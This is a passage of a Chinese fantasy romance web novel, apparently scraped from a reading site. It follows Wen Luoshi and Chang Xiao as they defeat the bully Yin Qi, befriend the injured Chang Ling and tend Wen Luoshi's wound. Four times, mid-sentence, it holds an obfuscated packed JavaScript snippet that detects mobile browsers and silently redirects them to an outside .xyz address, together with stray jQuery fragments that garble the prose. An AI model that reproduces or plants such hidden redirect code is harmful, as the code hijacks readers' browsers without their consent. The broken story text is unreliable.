近万年前,上任魔尊沧霖便是在两界交战时使用此法器,大败成千上万的天兵。止战后,沧霖将唤雷针赐予此战中大功臣、当今官拜魔界大司马的尹沥,从此,唤雷针成为尹家至宝。沧霖就木后,他的女儿沧葳继位,也就是现任魔尊。 沧葳并没有把唤雷针从尹家收回,所以,当今能使用此法器的,必定是尹家人。 文落诗史书读得多,知道很多历史上的来龙去脉,却十分厌恶一切与政治相关的事情。她从不愿意关心如今魔界政坛风云如何变幻,也当然不会去某个高官的家族结构如何。 所以,她只知眼前这个紫衣男子大概是姓尹,至于别的,完全没有头绪。 思索之时,唤雷针的威力已经体现在高空中——四方乌云凝聚,交错摩擦,像是在酝酿一场极大的雷雨。 看热闹的人中难免混杂着几个懂行的,隐约认出这法器,估摸着这形势,唏嘘不已。 就在所有人以为这巨雷要从空中射下时,雷声戛然而止,云也从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491147|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此静止不动。 那紫衣男子面色从容,不再高举唤雷针。众人疑惑之际,只见他左手缓缓伸进右袖中,翻腾了好一阵。终于,他倒腾完了,左手不紧不慢地从右袖中拿出了一大把东西。 众人定睛一看,他手里不是别的,是一大把碎金、碎银和魔石。 …… 众人表情呆滞,脸上写满疑惑,场面安静得有些尴尬。 很明显,没人看懂他在做什么。 可紫衣男子一本正经,表情虔诚,右手握紧唤雷针,左手将那一大把碎金、碎银和魔石撒在了唤雷针上。 听到身边的长晓轻微倒吸了一口气,文落诗好像也意识到了什么,就在此时,唤雷针迸发金光万丈,亮得刺眼。 长晓面色生无可恋,文落诗看到他的表情,也忍不住苦笑:“这很熙光啊……” 把钱财在这一瞬间转化成力量,拿去喂给法器,确实很符合熙光之人行事作风。毕竟,像文落诗这种自诩的正常人,都会比较正常地使用唤雷针:把自己的法力注入法器中,让法器发挥更大的作用。结果,唤雷针碰上了一个熙光之人,直接向它洒钱。 紫衣男子投入的可确实是一大笔钱,全部转化成力量,恐怕比在场一些人的全部法力都高。他再次举起唤雷针,直指乌云之处。 顿时,迅猛的巨雷俯冲下来,直击粉衣女子。 粉衣女子眼神坚定,双手施法,在自己周围凝出一个小型结界,以抵挡迅雷的疯狂攻击。那个粉色圆罩相当浓郁,还时不时地蹦出几粒火星,将迅雷打得一个激灵,有些退缩。 可这种乐观的战况并没有持续太久,粉色的结界逐渐变得久久不能蹦出火星,后是在一点一点变淡。粉衣女子咬牙切齿,奋力苦苦支撑。 那紫衣男子毕竟法力高强,连昨日文落诗对付他,都使出了自己独创的最厉害的一套术法。如今他将法力……哦不对钱财,灌输在唤雷针中,有了法器的加持,威力更是加倍放大。文落诗能赢他,但恐怕还真赢不了上古魔兵。而这个姑娘,很明显比自己修为低,这么看来,此战必败。 长晓几次想上前,都被文落诗拦下了。 既然是粉衣女子主动站出来承担,那便要给予她最大的尊重。 可是,突然,文落诗看到那女子嘴角开始溢出墨绿色血丝,便再也按耐不住,冲上前去。 她大笔一挥,射出无数道烟雾,开始与天空中猛烈而下的雷交战。 此战打得太吃力了,这是她第一次亲身对付魔兵,还是上古遗物唤雷针这种级别的,很快,她就觉得体力在以控制不住的速度流失着,击向天空中的粉烟也一道比一道弱。 文落诗转头看向紫衣男子,他正傲然笑着,仿佛睥睨着一切,欣然看着她和粉衣女子在巨雷下苦苦支撑。 就在此刻,身后传来一阵咳嗽声,是粉衣女子的结界要破了。 紧接着,粉衣女子一口鲜血喷出,墨绿色的血珠星星点点滴落,染在文落诗淡蓝色的衣裙上。 文落诗听着她阵咳不断,心里怒极,正准备再次使用绘澜唤碧,却意识到全城的积雪已经用尽,如果仅仅凝结空中露水,怕是远不够匹敌。再加上昨日消耗极大,今日她的法力和精力并未全部恢复,就算再次强行使用高级术法,也是以卵击石。 于是,她重新将全部注意力放在对付紫雷上。 风极大。不知何时,她的面纱已经被吹飞,飞向不知何处。 就在她聚精会神之时,身后那紫衣男子悄悄动了动指尖。 11. 弦断之音谁人听 文落诗看着天空中的紫雷,总觉得哪里不对,刚转过头,双目顿时睁大—— 一道尖锐的紫光正向自己射来! 她没时间跟紫衣男子争辩他偷袭这件事,只能用仅存的精力,立刻使出能力范围下最强的术法,以一道弯曲的粉烟,重重打向那道紫光。 此刻,她自身难保,真的无暇顾及头顶上的紫雷,和身后的女孩了。 天上的雷还是不断射着,文落诗雪白的斗篷和淡蓝色的衣裙像是枯萎了一般,被紫雷烧出好几道深深的裂痕。 忽然,不知那一道紫雷是有意还是无意,分寸不差地击向文落诗的右颊。 一阵刺痛传来,文落诗左手在前施法,右手却紧急撤回来,捂着自己右半边脸。 可那一刻,汩汩鲜血开始从她手指缝间流出。 就这样,不知过了多久,她再也捂不住自己的脸,右臂无力地垂下。 她从小就不像大多女子那样在意自己的容貌,因为不觉得自己属于所谓“美女”的行列,也从不在乎自己脸上有什么。可是,真正感受到自己的脸在冒出滚滚血液之时,她的心还是僵了一下。她不是被毁容吓到了,而是被那道伤口所代表的失败给击倒了。 真正击倒一个人,大多是精神上的,而非物理上的。 终于,她闭眼,心中重重地叹了口气,暗道这下完了。 可她在这一瞬间,却感觉对抗紫光并没有那么吃力了,而好像也不再有雷从天空中射下,腐蚀她的身体。 她睁开眼,视线有些模糊,却看到长晓已经站在自己身侧,掌中出现以一道极浓极强的蓝光,对准面前的紫衣男子。 再抬头看看四周,才明白,自己之所以觉得视线模糊,是因为长晓用一道淡蓝色的屏障把自己和粉衣女子保护起来了。 接下来,她抱着不断咳嗽的粉衣女子,蜷坐在地上,用自己的斗篷该在女孩身上,目睹着长晓在外应敌。 长晓看上去应敌经验丰富,有条有理。他先是将文落诗和另一个姑娘防护起来,再是将那道紫光拦住。 紧接着,墨色长袖挥过,头顶的雷击统统被拦截。 他再是用一道强硬的蓝光击向高空中的乌云,那乌云瞬间四分五裂,消失得迅速。 整套流程下来,长晓眉头都没皱一下。 乌云散后,他不紧不慢地抬眸看向那紫衣男子,眼神中带着极度危险的气息,吓得对方嘴角颤抖,连连后退了几步。 文落诗静静地看着这一幕,双眼无神,全身空白,如梦初醒,不敢相信周围的一切是真实存在的。 这么多年以来,她一直是自己一个人,败了便是败了,累了便是累了,不会有人帮自己抵挡周围不断袭来的风浪,也不会有人在困倦之时给她提供一个居所。可看着眼前那个身影,是真真切切站在自己身边,在自己濒死之际,拦下了即将到来的最后一根稻草。 这种感觉太不真实,她甚至觉得自己失去了温度,四肢麻木,感受不到粉衣女子压在自己身上的重量。 长晓始终没说一个字。 就在她以为,要溺死在这场无休无止的梦中时,那紫衣男子颤抖地开了口:“这位魔君,咱们有话好商量!” 长晓终于冷笑一声,缓缓道:“是吗。你动手的时候,我没见你好商量啊。” 紫衣男子牙关直打颤:“您饶了我的小命吧!我也是受人指使,不得不为之啊!” 长晓等的就是这句话,给他抛去一个轻飘飘的眼神,淡淡开口:“谁。” 文落诗一听这语气,哪怕全身疲惫至极,也一下子清醒了,忽然事业脑发作,抬头看向长晓。 对,就是这种态度,这种感觉,这种语气,太精彩了,赶紧多看几眼,记下来,之后写进下一个话本里。 然后,她安静地等待这两人继续说下去。 紫衣男子顿时大喊:“啊,我不能说啊,他对我有再造之恩,我……” “尹岐,在你使出唤雷针的时候,就该知道,在场不少人能认出来此物,从而猜出你是谁。”长晓缓缓道。 那名为尹岐的紫衣男子吓了一跳,好半天没说出话来。 长晓本想就此打住,并亲手给他个教训,却余光中忽然看到文落诗在身边,表面虚弱,实则在暗自蓄力,准备给尹岐最后一击。 他心中划过一抹笑。这姑娘还真是咽不下这口气,非要自己上。 于是,他继续开口,给文落诗争取足够的时间: “你以为的择良木而栖,不过是趋炎附势、阿谀奉承,现如今,更是仗势欺人、横行霸道。你自以为所修熙光就能目中无人,飘飘然久了,尹家的颜面已经被你丢尽,你父亲当年战功所换得的百姓心中的好感,也快被你挥霍得所剩无几了。” 长晓语气冷静,听不出任何情绪起伏,却无疑给了当场所有人巨大的冲击。 尹岐每听一句,便向后退一步,渐渐不知不觉退到了人群处,撞到人身上,一个趔趄后仰,在惊呼声中倒地。 而就在此时,文落诗用仅存的最后零星的法力,聚成一团耀眼的粉烟,重重地向尹岐砸去。 冬年之中的稀音城是苍白的,连空气都泛着苍白的味道。她脸上那一道浓重的墨绿色伤口,显得刺眼。而她,顶着这道伤口,以最后一击,证明了自己并非失败者。 一片黑烟升起在尹岐身侧,人们再次清晰看到他时,他的头冠已经被烧断得只剩一半,还是焦黑残缺的,头发也蓬松炸开,脸上沾满了黑色的土。 哄堂大笑声涌起。 在这片无休无止蔓延开来的笑声中,尹岐搂搂烧焦的衣袖,化作一团紫影,落荒而逃,不知所踪。 热闹结束了,人们各回各家,人群开始变得零散。 长晓静静看完这一幕,实在忍不住暗自低笑,转头看向文落诗,看到她脸上的伤口,笑容减消,却道:“这回满意了?” 文落诗还是蜷坐在地上,怀中的粉衣女子渐渐恢复了温度,她抬起头,也看向长晓,一时不知道该怎么表达谢意,只道:“多谢。” 长晓走到她身边,也蹲下身,将一颗丹药递给文落诗,示意她给粉衣女子服下。 文落诗没有犹豫,顺手接过,正当送入粉衣女子嘴边之时,忽然听到身后有人问道: “两位高人,可否留下尊姓大名?此等仗义之为,应当声名远扬才是!” 长晓目光沉了沉,像是思索过什么,摇了摇头。 文落诗自然没有注意到长晓的表情。她作为一个写各种类型文章多年的人,自然也知晓新闻报道的要害。要知道,“人物名字”在一个故事中的重要性不容小觑。 眼前这人,大概是想把这个惩恶扬善的故事传遍酒肆茶坊。若是这故事的主人公并无姓名、只被称作“一女子”的话,那即便对方是“当街大败挑事的尹家人”,吸引力和说服力自然会大打折扣。 刚想回答,文落诗却忽然想到,自己马上要投稿了,要是在这之前,“文落诗”这个名字先流传出去,摆在众多人面前,备受争议,恐怕书局会有所顾虑,搞不好就不收自己的稿了。 那可不行,耽误事业了。 那好事者双眼充满八卦的气息,像是巴不得下一秒就把驴引进黔一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491148|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。 文落诗忽然灵机一动,报出了一个名字:“舒允。” 长晓本是在用手帕给粉衣女子擦汗,此时闻言,动作猛地一顿。 而那好事者得到一个名字,如数家珍,夸张作揖:“多谢告知!”说罢,一溜烟消失得无影无踪。 文落诗目送他离开,把头转回去,粉衣女子已经完全清醒了,挣扎着从文落诗怀里坐起来。长晓不便扶她,文落诗毫不犹豫伸出手臂,扶住了她的后背。 见她开始调理内息,文落诗也终于舒了口气。自己的内息短时间内是调理不过来了,只能保证稳住根本。 不过她闭上眼睛,就开始觉得无地自容。 罢了,此等美名,就交给自己的好友吧。正好,她的身份,比自己更需要一个惩恶扬善的好名声。当然,这只是自我安慰,文落诗还是心下打鼓,知道自己不过是为了日后投稿方便而已,当下只不过是迫不得已,拉出舒允的名号来挡一挡。 毕竟对舒允来说是个好事,她肯定能猜到是我做的,也应该不会计较。 就这样吧。 她睁开眼时,四只眼睛正一同看着自己。 粉衣女子看样子平稳了内息,拍怕衣服站起来,看了眼文落诗和长晓,两眼充满感激,欠身道:“小女子常绫,多谢二位相助,帮我捡回一条命。” 长晓道:“常绫姑娘不必多礼,举手之劳,不足挂齿,何况对方欺人在先,你没有任何错。” 文落诗也点头:“常绫,你很勇敢了,面对这种仗势欺人的挑衅者,没几个人愿意主动站出来反击的,大多都是自认倒霉,转头咽下苦楚了。” 常绫看了半响文落诗的右颊,眉头轻皱,满眼歉意:“真是对不起姐姐,你的脸……” “无碍,这不重要,过两天就好了。”说罢,她摸了摸自己的右颊,发现那道伤口已经开始结痂。 “可是,这可能会留疤啊……” 文落诗的神情如清风一般从容:“没什么大碍。我对自己的评价,从来不来自于这张脸,它变美了变丑了,也不会让我觉得自己瞬间变好了或变坏了。日子该怎么过就怎么过,我有我自己的事情要做,这道疤影响不到我的。”见常绫有些发愣,她又补充道:“而且,反正也从来没人夸过我更好看。不重要。” 一听这话,常绫和旁边的长晓都沉默了好一阵。 最终还是常绫先忍不住喃喃道:“美女都不觉得自己是美女啊……”话落,她忽然想到什么,又看了一眼长晓,补充:“不过,会有别人觉得的。” 长晓脸色有细微波动,被常绫看了个正着。 而一旁,还在坐着的文落诗听到了她的话,完全不觉得跟自己有什么关系。她欲起身,却觉得双腿发软,一下子没站起来。 长晓见状,俯身想伸手扶文落诗起来,却在伸出手的那一刻,终究有些犹豫。 不过这犹豫只是一刹那,他下一秒就眼睁睁地见文落诗的手主动抓住自己的胳膊,费了好大力气,连袖子的布料都攥皱了,才晃晃悠悠站起身。 看着长晓诧异的表情,文落诗十分镇定:“多谢,刚刚把最后一击的机会让给我,再算上刚刚扶着你站起来,你帮我两次了。昨天中午的事情,我就不计较了。” 长晓这回彻底呆住,半天没说出来话。 听闻此言后,和长晓一样呆住的还有常绫。一阵冷风吹过,常绫好像哪根神经忽然被扳回来了一样,笑开花了:“我还道你们二人是什么关系,原来我猜错了。” 不说这话还好,一说完,文落诗体会到一种活了这么多年都没经历过的尴尬。 12. 弦断之音谁人听 文落诗久久没说出话来,她实在觉得百口莫辩,于是抬头看天。却在此时,她听长晓在一旁说道:“常绫姑娘误会了,其实我们两个也是前天刚认识。” 常绫若有所思地点点头,问道:“我刚刚迷迷糊糊中,听姐姐刚刚说自己的名字是‘舒允’?” 文落诗稍稍一愣:“啊,不是,那个是我一个朋友的名字……” 长晓深深看了她一眼,没说话。 有些事就是这么巧。 “姐姐就把这番功绩让给朋友了?那姐姐叫什么啊?” 听着常绫一个劲地“姐姐”“姐姐”,文落诗有些头皮发麻,也学了她的语气:“姐姐叫文落诗。你叫姐姐的名字就好。” “好,落诗姐姐。” “……” “那这位是……” “长晓。” 文落诗本来还在犹豫是否要说出长晓的身份,他却自己回答了。不过一想,也对,他还有别的身份不愿意说,如今只能广而告之自己是长晓。 常绫听闻,目瞪口呆了好一会儿,欣喜若狂,声音略显颤抖:“我会唱你的曲子,我们班子里很多人都可喜欢你的曲子了呜呜呜呜,还有填词也好啊啊啊啊,没想到你已经达到融雪了呜呜呜。长晓魔君,能否给我留下墨宝,我这辈子圆满了!” 文落诗对此司空见惯,挑眉看向长晓。而长晓却十分矜持:“常姑娘客气了,能被姑娘赏识,在下十分荣幸。” 行,又是这副样子。简直跟第一天见我的时候一模一样。不知怎么,文落诗就像已经很了解长晓一样,十分清楚他这副谦谦表相之下,藏着不少东西。 ——比如,他能进我房间,把我移到床上。 算了算了,都说了不计较了,没什么大不了的。 看到文落诗撇了撇嘴,长晓似乎一眼看透了她在想什么,对着她笑了笑。 常绫还沉浸在见到名人还被名人救了的喜悦之中。 一时间,三个人各想各的,谁也没再出声。 * 已过日中,三人便一起找了附近的酒楼吃了饭。 魔是不需要吃饭的。但如果要吃饭,大概是单纯因为想吃。 “我还以为你会带常绫去你自己开的酒楼。”文落诗不知何时已经把飘落的面纱捡回来戴上。这回她诗真需要遮着脸了,哪怕她不在乎,旁人看了那一道疤,也会吓到。她拍拍身上的灰尘,坐下。 “这不是怕你又有心理负担么。”长晓拍拍身上的灰尘,坐下。 常绫坚持要请客,于是点了几个菜后,便把碎银子塞给了店小二,不给文落诗和长晓付钱的机会。 在场的人都能看得出来,常绫实在是囊中羞涩,但就算再穷,都一定要把人情还上,看着她那些零零散散的碎银子花出去大半,文落诗心下有些触动。 “你是露烟吧?”文落诗喝了一口店小二刚端上来的茶水。 “对,跟姐姐一样。” 方才与尹岐交手时,常绫和文落诗所用术法皆为粉色,两人都互相看到了,此刻颇有一种同病相怜之感。 不过,文落诗实在受不了了:“常绫啊,我今年还不足一千八百岁,估计比你大不了多少,你直接叫我名字就好了。” 常绫点头:“好,落诗。哎,等一下,你的设帨之年是?” “沧海历八千一百八十三年。” “哇,我是八千三百九十六年,确实比你小。哎,等一下,长晓魔君的设弧执念是哪一年呀?你会不会比我们大很多?不过我完全看不出来。” 长晓一直在自斟自饮,不插嘴两个姑娘的谈话,忽然问道他,他便如实答道:“沧海历七千六百五十四年。” 文落诗总觉得,长晓诞辰这个年份特别熟悉,好像在某本史书上见过,大概那一年发生过什么事。最近都忙着赶路和打架了,好久没温书了,真是三日不读书就面目可憎了。正好,她现在确实是有点“面目可憎”。 但是她的思绪也很快被打断了,因为店小二端上来了几盘热乎乎的饭菜。 菜还没上齐,大家也都不好意思先动筷,文落诗摘了面纱,便找了个话题聊天:“常绫,我觉得你虽然看上去很柔弱,实则内心超级坚定的。我以为你会害怕对方,自己蔫蔫地放弃反抗,没想到你真的做了。” 常绫微微怔了半响,缓缓道:“这是我第一次站出来反抗。以前我都像你说的,‘蔫蔫地放弃反抗’了。” 长晓这时忽道:“常绫姑娘,你很厉害,这次很不容易。” 常绫甜甜一笑。 文落诗却还在思考常绫刚刚所说,本想问为什么以前都没有反抗,却发现自己根本问不出这句话。 为什么?她内心再清楚不过了。 昨日第一次遇见紫衣男子欺负石玥,那也是文落诗第一次站出来反抗,见他诋毁露烟,便出手击败了他。与其说是帮助石玥,不如说是在维护“露烟”二字的尊严,削弱“熙光”二字的戾气。以往的她,也都像初入稀音城那样,面对客栈老板的无理取闹,只能自己咽下苦水,不敢还手。 为什么不敢还手?文落诗修为极高,是因为长年被民间的主流思想打击,长年不自信。那种自卑的情绪淤积了太久,自己都险些把“自愧不如”当成生活的一部分。想要把长期弯着的腰彻底直起来,是需要极大的勇气的,不仅要否掉以前融进自我概念的那一部分自卑,还要咬牙成为唯一一个在背地里支持自己的人。 而常绫,修为虽也不低,可真正站出来反抗这些无耻之时,却也落得一身血迹。 反观这些欺人者,因为风壑轻飘飘的一句“熙光道好”,便自诩天之骄子,自以为可以藐视所有别道之人。看这名为尹岐的人,就连走在街上,都自觉高人一等,随随便便就碰碎了石玥的一桌瓷器,又随随便便的划破了常绫的衣服,并丝毫不觉得自己做错了什么。 世事本不公。欺负我的代价太低,我去反抗的代价太高。 而这反抗通常是无意义的,因为牺牲一个人,并不会扳回社会上众多人的认知。你一个露烟赢了,并不会改变众人所认定的。你站出来说这不合理,没人会在意你说什么。 文落诗意识到,自己随波逐流太久了。哪怕这波,是场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491149|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 混沌的恶波。她曾经只想过好自己的生活,不想有任何对整个社会的伟大建树。她意识到,自己已经逃避太久了。如今,她虽然还是抵触政治漩涡,却在目睹和经历了自己、石玥、常绫的种种不公后,第一次想超出自己的个人事业,为这个社会做点什么。 ——比如,告诉那些像她一样、长期处于黑暗中的人,不要害怕,继续坚持做自己,因为,有人在与你们同行。 有数不清的人,正在无尽头的河里溺水,正需要有人救一把。 她希望自己成为那个施以援手的人。 想到这里,她忽然看向长晓。 她意识到,长晓和那街边卖红苕的老婆婆,好像就是拉了自己一把的人。她听了街边卖红苕的老婆婆几番言语,转变了思维方式。 而长晓,虽然从未跟她讲过老婆婆所说的那些大道理,却无时无刻不在用行动告诉文落诗,她的存在是有价值的。他没特意说过什么,也没特意做过什么,却用不起眼的关心、点点滴滴的渗透,让文落诗这么多年以来第一次感受到被肯定,让她体会到了一个正常的、普通的、有自己喜好和追求的人,应当活成的样子。 或许,长晓也是正在反抗社会不公,和那个正向对他人施以援手的人。 她好像明白,为何长晓说,他们是一路人。 她有一个大胆的猜测…… “开饭啦!”常绫看着店小二把刚点的最后一盘菜端上来,眉开眼笑地盯着上齐了的菜。这一声惊呼,也彻底把神游在外的文落诗拉回现实。 长晓刚刚自然也注意到文落诗忽然不说话了,大概猜到她会想些什么,没打扰她。 “哦对啦,落诗,你刚刚用的那个巨大的笔,是你的法器吗?” “嗯,”文落诗心不在焉,“是我自己炼的法器,在上面自己刻了梅、竹、松,所以当时给它起名叫‘岁寒笔’。” 后来,饭吃完了一半,天聊完了一半,文落诗和长晓才得知,常绫在一家戏班子里打工。说来奇怪,这个戏班的班主几乎从来没有露过脸,班子里没人知道他究竟是谁。所以,戏班的实权,现在掌握在总管事手里。常绫本是负责表演的,还是个主要演员,可自从新总管上任、开始掌事之后,常绫似乎越来越被边缘化了。有时候打杂,有时候负责帮忙化妆布景,总之一路巡演下来,自己好像没个正经任务一样,东跑西跑,十分慌乱。 这不,大冬天的,总管事又叫她来帮容妆科出来采买,她才在街上晃悠,被文落诗和长晓遇到了。 “你刚刚说,这个总管事是新来的?”文落诗一下子抓住了重点。 “对,一百多年前刚来的,还带来了几个新人进班。”常绫对答如流。 “之前的总管事为什么不干了啊?” “我们都不知道,他看上去什么事情都没有,一切如常,忽然有一天,他带了一个人来到我们面前,也就是如今的总管事,说从此以后,这就是我们的新总管事,希望我们忘记他。从那之后,他就不知道去了何处。” 文落诗和长晓颇有默契地对看一眼,都发现了这之中的不对劲。 13. 弦断之音谁人听 “敢问常绫姑娘,你说几乎没人知道你们班主是谁,此话何意?”长晓把话题接过来。 常绫摇摇头:“自打戏班子成立以来,我们就没见过班主,也不知道他是谁。只有之前的总管事知道他是谁,现在的这个总管事都不知道。” 文落诗问道:“你们之前走了的那个的总管事叫什么?” “贠莫,也是个露烟道之人,特别好的一个姐姐。” “那现在这个呢?” “余峥,一个整天骂骂咧咧的男的。” 文落诗闻言笑喷出来,见长晓开始思索,她下意识多问了一句:“可是‘霜叶红于二月花’的‘于’?” 常绫答道:“非也。乃‘惆怅梦余山月斜’的‘余’。” 文落诗脑子里忽然想到,当今魔界的大司徒便姓余。那可是个臭名昭著的大贪官。于是转头看向长晓,想着他肯定比自己知道得多,说不定他能给出什么有用的信息。 长晓确实像在思索什么。许久,他道:“此人应是当今大司徒余易的家族中人,但应当不是余易的直系亲属。” 文落诗心下惊叹,他果然知道。不知为何,她忽然有些害怕长晓,也害怕自己哪一天得知了不该知道的事情,从此消失在这个世界上。她知道,长晓既然能名扬整界,自然有许多背后的故事,而他从一见面就拿出“长晓”这个身份来掩盖另一层身份,便足够说明,他身上有很多秘密。文落诗本不想探究这些,也对他的身世没兴趣,可她无意中,正在被这些渗透出来的秘密牵引着、影响着。 长晓此话一出,空气安静了好一段时间。 还是常绫先打破了沉默:“敢情是那个大贪官的族人,怪不得天天对我们指手画脚,原来是背后有人给他撑腰。” 文落诗盯着长晓看了一会,见他落落君子,神情平淡,直到长晓眨眨眼,被她看得有些不自然了,她才冷不丁问了一句:“欺负我和常绫的那个紫不拉几的人,我听你叫他‘尹岐’,他又是谁?” 长晓明白文落诗为什么这么看自己了,叹了口气:“他是尹沥的次子。”他特意看着文落诗的双眼,又补充了一句:“亲生的那种。” 文落诗瞬间五雷轰顶。 常绫仍有些不可置信,抱着最后一丝希望问道:“尹沥是……” “近万年前那个在战场上大败成千上万天兵的战神,当今官拜大司马。” 常绫吓得手一松,勺子掉地上了:“我一平民女子,招谁惹谁了……怎么跟这些人扯关系的……” 文落诗扶额。不知为什么,觉得这些年自己向往的寻常生活,从这一刻起,彻底结束了。 只有长晓神色如初,像是见惯了此情此景。 文落诗抬起头,眼巴巴地看向他,给长晓传音入密:“你不是要把我当现成的素材吗,可不能让我被这些人打死了,要是哪天我真的跟朝堂政权扯上关系了,你可得救我,不然你的素材就消失在世界上了。” 长晓“呵”一声,笑出声来,十分君子地点点头,算是同意了这话。 文落诗松下一口气。 而看着文落诗那副如释重负地神情,长晓的心里却是暗暗一叹。 有些事情,恐怕她早已被卷入了。来不及了。 * 回到春庭酒楼后院,文落诗一个人坐在房间里运功,试图给自己疗伤。奈何此次确实伤得太重,差点伤及根本,绝不是一时半会能调理过来的。 常绫吃完饭后,就出城回戏班里了。她的戏班如今在与稀音城相邻的寒声城中,正筹备着新戏的演出。文落诗本担心她的伤势,她却说要是再不回去,总管事又该说她娇气、不敬业了,才不会管她具体情况如何。 常绫伤得没有文落诗重,而且已经自我疗伤得差不多了,自己出城问题不大。但文落诗可就不同了,她伤势太重,方才又只是稳住了内息,没有整体地疗伤,刚回到屋里,便觉得四肢无力,有晕倒的趋势。 她赶紧用最后的力气坐下来,调理了一炷香的时间,算是勉强稳住了。 正在闭眼运气,忽然听到门口一阵敲门声。 行,进步了,这回知道敲门了,不是直接进来了。 “请进——”文落诗头也不回,眼也不睁,依旧安坐于榻上。 长晓走进来,带进一阵清冽的寒风。 文落诗觉得,明明有人进来,自己却装作没看到,这不太好。 于是她随便找了个话题:“我刚刚又帮你把猼施喂了,它今天挺乖,吃了不少白萝卜。” “嗯,多谢。” 文落诗平静下来,修复了不少内伤,转而听到一阵叮铃桄榔的动静,倏然睁眼,看到长晓静坐在自己身旁,正在摆弄面前的瓶瓶罐罐。正欲开口,长晓却见文落诗睁眼,抢先问道:“身体怎么样?” 还是有点不习惯有人关心自己。不过文落诗安然答道:“好多了,但要是完全好,还得十天半月的。” “要不要我给你传点内力,或者给你疗伤?” 明明是很平静的问句,但是文落诗却听出了一丝担心,还是有点超乎寻常的过度担心。不过,这大概是她的错觉。 “不用,多谢。” 长晓终于从所有瓶瓶罐罐中拿出了一个水晶湖蓝色的瓶子,打开瓶盖,里面是透明的软膏。他伸手把瓶子递给文落诗:“这里面的药可以治你脸上的伤,抹个两三天,不会留任何疤痕。我刚配好药,你试试。” 文落诗总觉得气氛不太对,这个屋里的温度有点高。 长晓见文落诗不伸手接,又道:“我给你挑了个蓝色的瓶子装药,看你这几天,衣服都是淡蓝色的,猜你大概是喜欢蓝色?” 文落诗这回真的愣住了。 从小到大,长晓并非是第一个发现这件事的人,却是第一个如此注意细节的人。文落诗从小喜欢蓝,单纯觉得这颜色好看,符合自己审美。但这些都限于自己给自己买蓝色的东西,衣服首饰甚至布包等等。这是第一次有人因为她喜欢蓝,而特意给她蓝色的事物。 许久,她接过瓶子,没有直视长晓,低声道:“长晓,你这样,我又要欠你人情了。” 长晓一下子就听懂了她的意思,笑道:“怎么就‘又’欠了呢,我之前说过,请你帮忙,从你身上找灵感,从而请你住店。至于帮你救你,你也可以理解成是因为这个。” 文落诗听懂了他的话中有话:“你明明就是觉得想帮我,还非要找个借口,说是为了自己。” 长晓也不在乎她戳破,反道:“落诗,你也明明就是想喂猼施而已,却非要说是帮我喂。” 这回,文落诗“扑哧”一声笑出来。他这把即将聊死的天给圆回来的能力,也真的是厉害。毕竟,他这么扯一句无关紧要的话题,让气压一下子升回正常水平了。 长晓接着道:“而且,如果我没猜错,你也在拿我当你写作的素材吧?” “嗯,不过有时候,看破不说破会更好。” “我知道你满脑子想着去写作,但现如今,先把伤治好,别的都之后再说。” “你帮我这么多次,我该帮你什么呢?别又跟我说坐着这里当素材啊,这可不够。” “以后会有机会的。” 有时候,文落诗怀疑自己面对这突如其来的一切,有些过于坦荡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491150|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。她非常清楚,这要是换作别的小姑娘,可能就直接心动了。 但是她觉得自己没有。她甚至怀疑自己是不是哪里出问题了,坦荡得有些过度了。 她一个人无欲无求惯了,不指望被赞美,也不指望被欣赏。 她早就想好了,要一辈子自己一个人,不需要那些所谓的无聊的心动,从而避免那些浪费人精力的你拉我扯的风花雪月。一路走来,她鄙视那些为了爱情堕落的人,也觉得永远不会理解那些为了别人而放弃自己事业的人。在她眼里,事业是第一位的,没有什么比写作更重要。自己只需要一心扑在事业上,就足够了。 可能因为心死寂了太久,重新活过来,会是一件很难的事情。 所以,在意识到长晓正在一步步捂热她冻僵的内心时,她其实有些慌,因为她不知道将会面临什么。 “先别想了,把药抹了。” 那如同冰泉一般的声音响起,把她从思绪中拉回现实。文落诗用手蘸了一点透明的药膏。 她虽然不懂医药,却能看出长晓的这些瓶瓶罐罐,一定价值不菲,并非她这种普通人能随意用到的。 